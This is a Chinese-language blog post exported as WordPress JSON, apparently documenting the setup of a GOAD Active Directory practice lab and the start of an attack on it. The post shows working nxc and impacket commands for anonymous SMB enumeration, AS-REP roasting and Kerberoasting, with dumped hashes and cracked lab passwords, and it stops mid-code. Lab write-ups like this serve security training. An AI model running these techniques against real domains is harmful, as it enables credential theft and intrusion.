{"id":766,"date":"2026-08-13T14:17:06","date_gmt":"2026-08-13T06:17:06","guid":{"rendered":"https:\/\/chengyunpu.com\/wordpress\/?p=766"},"modified":"2026-09-18T13:35:21","modified_gmt":"2026-09-18T05:35:21","slug":"goad-writeup-infra","status":"publish","type":"post","link":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","title":{"rendered":"GOAD writeup &amp; infra"},"content":{"rendered":"\n<details class=\"wp-block-details is-layout-flow wp-block-details-is-layout-flow\"><summary>infrastructure<\/summary>\n<p class=\"wp-block-paragraph\">\u786c\u9ad4\u898f\u683c\u5982\u4e0b\uff1a<br>\u76ee\u6a19\u5f9e\u6700\u5c0f\u7684 lab \u958b\u59cb\u6253\uff0c\u770b\u770b\u6700\u5f8c\u80fd\u5426\u8b93\u9019\u53f0\u8001\u96fb\u8166\u652f\u6490\u6211\u6253\u5b8c\u6574\u7684 GOAD<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">root@pve:~# fastfetch\n         .:\/\/:`              `:\/\/:.             root@pve\n       `hMMMMMMd\/          \/dMMMMMMh`           --------\n        `sMMMMMMMd:      :mMMMMMMMs`            OS: Proxmox VE 9.2.10 x86_64\n`-\/+oo+\/:`.yMMMMMMMh-  -hMMMMMMMy.`:\/+oo+\/-`    Host: BM6AE_BM1AE_BP1AE\n`:oooooooo\/`-hMMMMMMMyyMMMMMMMh-`\/oooooooo:`    Kernel: Linux 7.0.14-11-pve\n  `\/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo\/`      Uptime: 11 mins\n    .\/ooooooo+- +NMMMMMMMMN+ -+ooooooo\/.        Packages: 782 (dpkg)\n      .+ooooooo+-`oNMMMMNo`-+ooooooo+.          Shell: bash 5.2.37\n        -+ooooooo\/.`sMMs`.\/ooooooo+-            Terminal: termproxy\n          :oooooooo\/`..`\/oooooooo:              CPU: Intel(R) Core(TM) i7-4790 (8) @ 4.00 GHz\n          :oooooooo\/`..`\/oooooooo:              GPU: Intel Xeon E3-1200 v3\/4th Gen Core Processor Integrated Graphics Controller @ 1.20 GHz [Integrated]\n        -+ooooooo\/.`sMMs`.\/ooooooo+-            Memory: 3.11 GiB \/ 31.22 GiB (10%)\n      .+ooooooo+-`oNMMMMNo`-+ooooooo+.          Swap: 792.84 MiB \/ 8.00 GiB (10%)\n    .\/ooooooo+- +NMMMMMMMMN+ -+ooooooo\/.        Disk (\/): 18.67 GiB \/ 93.93 GiB (20%) - ext4\n  `\/oooooooo:`:mMMMMMMMMMMMMm:`:oooooooo\/`      Disk (\/mnt\/hdd): 147.23 GiB \/ 915.82 GiB (16%) - ext4\n`:oooooooo\/`-hMMMMMMMyyMMMMMMMh-`\/oooooooo:`    Local IP (vmbr0): 192.168.8.2\/24\n`-\/+oo+\/:`.yMMMMMMMh-  -hMMMMMMMy.`:\/+oo+\/-`    Locale: en_US.UTF-8\n        `sMMMMMMMm:      :dMMMMMMMs`\n       `hMMMMMMd\/          \/dMMMMMMh`                                   \n         `:\/\/:`              `:\/\/:`                                     <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 pve \u4e0a\u5efa\u7acb\u4e00\u500b VM \uff0c\u6211\u9078\u7528 kali iso \uff0cVM \u88dd\u597d\u5f8c\u5728 Hardware \u5c07 Processors \u7684 type \u6539\u6210 host<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"813\" height=\"285\" fetchpriority=\"low\" src=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png\" alt=\"\" class=\"wp-image-782\" srcset=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png 813w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3-300x105.png 300w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3-768x269.png 768w\" sizes=\"(max-width: 813px) 100vw, 813px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">install virualbox<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">sudo apt install virtualbox -y<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">install vagrant<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">wget -O- https:\/\/apt.releases.hashicorp.com\/gpg | sudo gpg --dearmor -o \/usr\/share\/keyrings\/hashicorp-archive-keyring.gpg\n\necho \"deb [signed-by=\/usr\/share\/keyrings\/hashicorp-archive-keyring.gpg] https:\/\/apt.releases.hashicorp.com bookworm main\" | sudo tee \/etc\/apt\/sources.list.d\/hashicorp.list\n\nsudo apt update &amp;&amp; sudo apt install vagrant -y<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">install vagrant plugin<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">vagrant plugin install vagrant-reload vagrant-vbguest winrm winrm-fs winrm-elevated<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">install docker<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">sudo apt install docker.io -y<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">clone repository<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">git clone https:\/\/github.com\/Orange-Cyberdefense\/GOAD.git<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">build docker image<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">cd GOAD\nsudo docker build -t goadansible .<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\u74b0\u5883\u641e\u597d\u5f8c\u5c31\u80fd\u958b\u59cb\u5efa lab \u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">.\/goad.sh -t install -l GOAD-Mini -p virtualbox -m docker<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>status<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD]\n\u2514\u2500$ .\/goad.sh -t status -l MINILAB\n\n   _____   _____          _____\n  \/ ____| \/ ||| \\   \/\\   |  __ \\\n | |  __||  |||  | \/  \\  | |  | |\n | | |_ ||  |||  |\/ \/\\ \\ | |  | |\n | |__| ||  |||  \/ \/__\\ \\| |__| |\n  \\_____| \\_|||_\/________\\_____\/\n    Game Of Active Directory\n      Pwning is coming\n\nGoad management console type help or ? to list commands\n\n[*] lab instances :\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 Instance ID                 \u2503 Lab       \u2503 Provider   \u2503 IP Range        \u2503 Status    \u2503 Is Default \u2503 Extensions \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 3ae1cf-goad-mini-virtualbox \u2502 GOAD-Mini \u2502 virtualbox \u2502 192.168.56.0\/24 \u2502 installed \u2502 Yes        \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>start<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD]\n\u2514\u2500$ .\/goad.sh -t start -i 3ae1cf-goad-mini-virtualbox\n\n   _____   _____          _____\n  \/ ____| \/ ||| \\   \/\\   |  __ \\\n | |  __||  |||  | \/  \\  | |  | |\n | | |_ ||  |||  |\/ \/\\ \\ | |  | |\n | |__| ||  |||  \/ \/__\\ \\| |__| |\n  \\_____| \\_|||_\/________\\_____\/\n    Game Of Active Directory\n      Pwning is coming\n\nGoad management console type help or ? to list commands\n\n[*] lab instances :\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 Instance ID                 \u2503 Lab       \u2503 Provider   \u2503 IP Range        \u2503 Status    \u2503 Is Default \u2503 Extensions \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 3ae1cf-goad-mini-virtualbox \u2502 GOAD-Mini \u2502 virtualbox \u2502 192.168.56.0\/24 \u2502 installed \u2502 Yes        \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n[*] Current user is not in docker group, we will use \"sudo\" before docker commands\n[*] CWD: \/\n[*] Running command : sudo docker images |grep -c \"goadansible\"\n[sudo] password for kali:\n1\n[+] Docker image exist\n[+] Instance 3ae1cf-goad-mini-virtualbox loaded\n\u250f\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2533\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2513\n\u2503 Instance ID                   \u2503 Lab       \u2503 Provider   \u2503 IP Range        \u2503 Status    \u2503 Is Default \u2503 Extensions \u2503\n\u2521\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2547\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2529\n\u2502 &gt; 3ae1cf-goad-mini-virtualbox \u2502 GOAD-Mini \u2502 virtualbox \u2502 192.168.56.0\/24 \u2502 installed \u2502 Yes        \u2502            \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n[*] CWD: \/workspace\/3ae1cf-goad-mini-virtualbox\/provider\n[*] Running command : vagrant up\nBringing machine 'GOAD-Mini-DC01' up with 'virtualbox' provider...\n==&gt; GOAD-Mini-DC01: Checking if box 'StefanScherer\/windows_2019' version '2021.05.15' is up to date...\n==&gt; GOAD-Mini-DC01: Clearing any previously set forwarded ports...\n==&gt; GOAD-Mini-DC01: Clearing any previously set network interfaces...\n==&gt; GOAD-Mini-DC01: Preparing network interfaces based on configuration...\n    GOAD-Mini-DC01: Adapter 1: nat\n    GOAD-Mini-DC01: Adapter 2: hostonly\n==&gt; GOAD-Mini-DC01: Forwarding ports...\n    GOAD-Mini-DC01: 5985 (guest) =&gt; 55985 (host) (adapter 1)\n    GOAD-Mini-DC01: 5986 (guest) =&gt; 55986 (host) (adapter 1)\n    GOAD-Mini-DC01: 22 (guest) =&gt; 2222 (host) (adapter 1)\n==&gt; GOAD-Mini-DC01: Running 'pre-boot' VM customizations...\n==&gt; GOAD-Mini-DC01: Booting VM...\n==&gt; GOAD-Mini-DC01: Waiting for machine to boot. This may take a few minutes...\n    GOAD-Mini-DC01: WinRM address: 127.0.0.1:55985\n    GOAD-Mini-DC01: WinRM username: vagrant\n    GOAD-Mini-DC01: WinRM execution_time_limit: PT2H\n    GOAD-Mini-DC01: WinRM transport: negotiate\n==&gt; GOAD-Mini-DC01: Machine booted and ready!\n==&gt; GOAD-Mini-DC01: Checking for guest additions in VM...\n    GOAD-Mini-DC01: The guest additions on this VM do not match the installed version of\n    GOAD-Mini-DC01: VirtualBox! In most cases this is fine, but in rare cases it can\n    GOAD-Mini-DC01: prevent things such as shared folders from working properly. If you see\n    GOAD-Mini-DC01: shared folder errors, please make sure the guest additions within the\n    GOAD-Mini-DC01: virtual machine match the version of VirtualBox you have installed on\n    GOAD-Mini-DC01: your host and reload your VM.\n    GOAD-Mini-DC01:\n    GOAD-Mini-DC01: Guest Additions Version: 6.1.22\n    GOAD-Mini-DC01: VirtualBox Version: 7.2\n==&gt; GOAD-Mini-DC01: Configuring and enabling network interfaces...\n==&gt; GOAD-Mini-DC01: Machine already provisioned. Run `vagrant provision` or use the `--provision`\n==&gt; GOAD-Mini-DC01: flag to force provisioning. Provisioners marked to run always will still run<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u518d\u88dd MINILAB \u7684\u6642\u5019\u78b0\u5230\u8a18\u61b6\u9ad4\u5403\u6eff\u5728\u532f\u5165 VirtualBox \u6642\u6574\u53f0\u6b7b\u6a5f\u3002<br>\u5148\u8b93\u5b83\u8dd1\u5b8c\u524d\u7f6e VM \u5efa\u8d77\u4f86\uff0c\u5f8c\u7e8c\u518d\u7528 goad.sh \u91cd\u65b0 install <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">cd \/workspace\/c4bd04-minilab-virtualbox\/provider\n\nvagrant box add --provider virtualbox mayfly\/windows10<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">cd ~\/GOAD\/workspace\/c4bd04-minilab-virtualbox\/provider\n\nvagrant destroy -f WS01\n\nvagrant up WS01<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u518d\u88dd GOAD-Light \u6642\u9047\u5230\u4e86\u9019\u500b <a href=\"https:\/\/github.com\/Orange-Cyberdefense\/GOAD\/issues\/305\">issue<\/a> <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">fatal: [srv02]: FAILED! =&gt; {\"changed\": true, \"msg\": \"failed to join domain: Computer 'castelblack' failed to join domain 'north.sevenkingdoms.local' from its current workgroup 'WORKGROUP' with following error message: The specified domain either does not exist or could not be contacted.\", \"reboot_required\": false}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f8c\u4f86\u82b1\u4e86\u5f88\u4e45\u6210\u529f\u7528\u4ee5\u4e0b\u65b9\u6cd5\u89e3\u6c7a\u6b64\u554f\u984c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">PowerShell on DC02\n---\nnxc winrm 192.168.56.11 -u vagrant -p vagrant -X 'Set-DnsClientServerAddress -InterfaceAlias \"Ethernet 2\" -ServerAddresses 192.168.56.10'\nnxc winrm 192.168.56.11 -u vagrant -p vagrant -X 'Set-DnsClientServerAddress -InterfaceAlias \"Ethernet\" -ServerAddresses 192.168.56.10'\n\n------\n\nBash on building host\n---\nc87478-goad-light-virtualbox > provision_lab<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u9084\u6709\u9019\u500b <a href=\"https:\/\/github.com\/Orange-Cyberdefense\/GOAD\/issues\/468\">issue<\/a>\uff0c<a href=\"https:\/\/github.com\/Orange-Cyberdefense\/GOAD\/issues\/468#issuecomment-3621719862\">\u89e3\u6cd5\u53c3\u8003<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">[started TASK: mssql_ssms : Install SSMS on srv02]<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n<\/details>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">GOAD-Light<\/h3>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"759\" src=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-4-1024x759.png\" alt=\"\" class=\"wp-image-809\" srcset=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-4-1024x759.png 1024w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-4-300x222.png 300w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-4-767x569.png 767w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-4.png 1133w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\u533f\u540d\u679a\u8209\u9019\u5169\u500b domain \u767c\u73fe Description \u4e2d\u63d0\u53ca samwell.tarly \u5bc6\u78bc\u70ba Heartsbane<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ nxc smb 192.168.56.0\/24 -u '' -p '' --shares --users-export users\nSMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\\:\nSMB         192.168.56.11   445    WINTERFELL       [-] Error enumerating shares: STATUS_ACCESS_DENIED\nSMB         192.168.56.22   445    CASTELBLACK      [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)\nSMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\\:\nSMB         192.168.56.10   445    KINGSLANDING     [-] Error enumerating shares: STATUS_ACCESS_DENIED\nSMB         192.168.56.22   445    CASTELBLACK      [-] north.sevenkingdoms.local\\: STATUS_ACCESS_DENIED\nSMB         192.168.56.22   445    CASTELBLACK      [-] Error enumerating shares: Error occurs while reading from remote(104)\nSMB         192.168.56.11   445    WINTERFELL       -Username-                    -Last PW Set-       -BadPW- -Description-\nSMB         192.168.56.11   445    WINTERFELL       Guest                         &lt;never&gt;             0       Built-in account for guest access to the computer\/domain\nSMB         192.168.56.11   445    WINTERFELL       arya.stark                    2026-09-02 02:12:45 0       Arya Stark\nSMB         192.168.56.11   445    WINTERFELL       sansa.stark                   2026-09-02 02:13:18 0       Sansa Stark\nSMB         192.168.56.11   445    WINTERFELL       brandon.stark                 2026-09-02 02:13:25 0       Brandon Stark\nSMB         192.168.56.11   445    WINTERFELL       rickon.stark                  2026-09-02 02:13:33 0       Rickon Stark\nSMB         192.168.56.11   445    WINTERFELL       hodor                         2026-09-02 02:13:42 0       Brainless Giant\nSMB         192.168.56.11   445    WINTERFELL       jon.snow                      2026-09-02 02:13:50 0       Jon Snow\nSMB         192.168.56.11   445    WINTERFELL       samwell.tarly                 2026-09-02 02:13:58 0       Samwell Tarly (Password : Heartsbane)\nSMB         192.168.56.11   445    WINTERFELL       jeor.mormont                  2026-09-02 02:14:06 0       Jeor Mormont\nSMB         192.168.56.11   445    WINTERFELL       sql_svc                       2026-09-02 02:14:14 0       sql service\nSMB         192.168.56.11   445    WINTERFELL       [*] Enumerated 10 local users: NORTH\nSMB         192.168.56.11   445    WINTERFELL       [*] Writing 10 local users to users\nRunning nxc against 256 targets \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501 100% 0:00:00<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5148\u505a <strong>AS-REP Roasting<\/strong> &amp; <strong>Kerberoasting<\/strong>\uff0c\u7834\u89e3\u5f97\u5230 brandon.stark\/iseedeadpeople , jon.snow\/iknownothing \u5169\u7d44\u5e33\u5bc6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ impacket-GetNPUsers -request -dc-ip '192.168.56.11' 'north.sevenkingdoms.local'\/'samwell.tarly':'Heartsbane'\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\nName           MemberOf                                              PasswordLastSet             LastLogon  UAC\n-------------  ----------------------------------------------------  --------------------------  ---------  --------\nbrandon.stark  CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2026-09-01 22:13:25.985760  &lt;never&gt;    0x410200\n\n\n\n$krb5asrep$23$brandon.stark@NORTH.SEVENKINGDOMS.LOCAL:beff5bdacbc48a0f009f2dee1ac43f5e$213ad42f9f581b19d7eab63ebcef30a5d7597c2f2326fb73ac256fa7ec54111fa118709e26b3ff45f316312d1df768459a3a3bfe40bde4101d1e9920c0b2d0a822b35b89994a2f60de2f4dec8cfb938d875c301c4641efefb0ef4d49bd3ee33ec72fa6af46291802dcd9cb3d25011f0a43df386e76f7c274b9177d7ab25d8e414e98b5b9047eb86b09976990594d7fdfe9527e4cf7b7d46fbe56767245fc54f69f810805d92d2f11a205d678927f0749937d7e57dec626f88eec4054b2d4af679e21d38971ce5ee80e8ce0fe46ccfe44d1082c39fbd27b2653d4263bb1350172eabf9d3f5c9c60860669c96dd23398cba9f05cffff9142a907ba47402c866657c36a9d88c0bf\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ impacket-GetUserSPNs -request -dc-ip '192.168.56.11' 'north.sevenkingdoms.local'\/'samwell.tarly' -hashes '00:f5db9e027ef824d029262068ac826843' -outputfile hashes.kerberoast\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\nServicePrincipalName                                 Name         MemberOf                                                    PasswordLastSet             LastLogon                   Delegation\n---------------------------------------------------  -----------  ----------------------------------------------------------  --------------------------  --------------------------  -----------\nHTTP\/eyrie.north.sevenkingdoms.local                 sansa.stark  CN=Stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local        2026-09-01 22:13:18.318219  &lt;never&gt;\nCIFS\/winterfell.north.sevenkingdoms.local            jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2026-09-01 22:13:50.426582  &lt;never&gt;                     constrained\nHTTP\/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,DC=north,DC=sevenkingdoms,DC=local  2026-09-01 22:13:50.426582  &lt;never&gt;                     constrained\nMSSQLSvc\/castelblack.north.sevenkingdoms.local       sql_svc                                                                  2026-09-01 22:14:14.361230  2026-09-02 07:05:58.475156\nMSSQLSvc\/castelblack.north.sevenkingdoms.local:1433  sql_svc  <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528 nxc \u679a\u8209 SMB file<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" 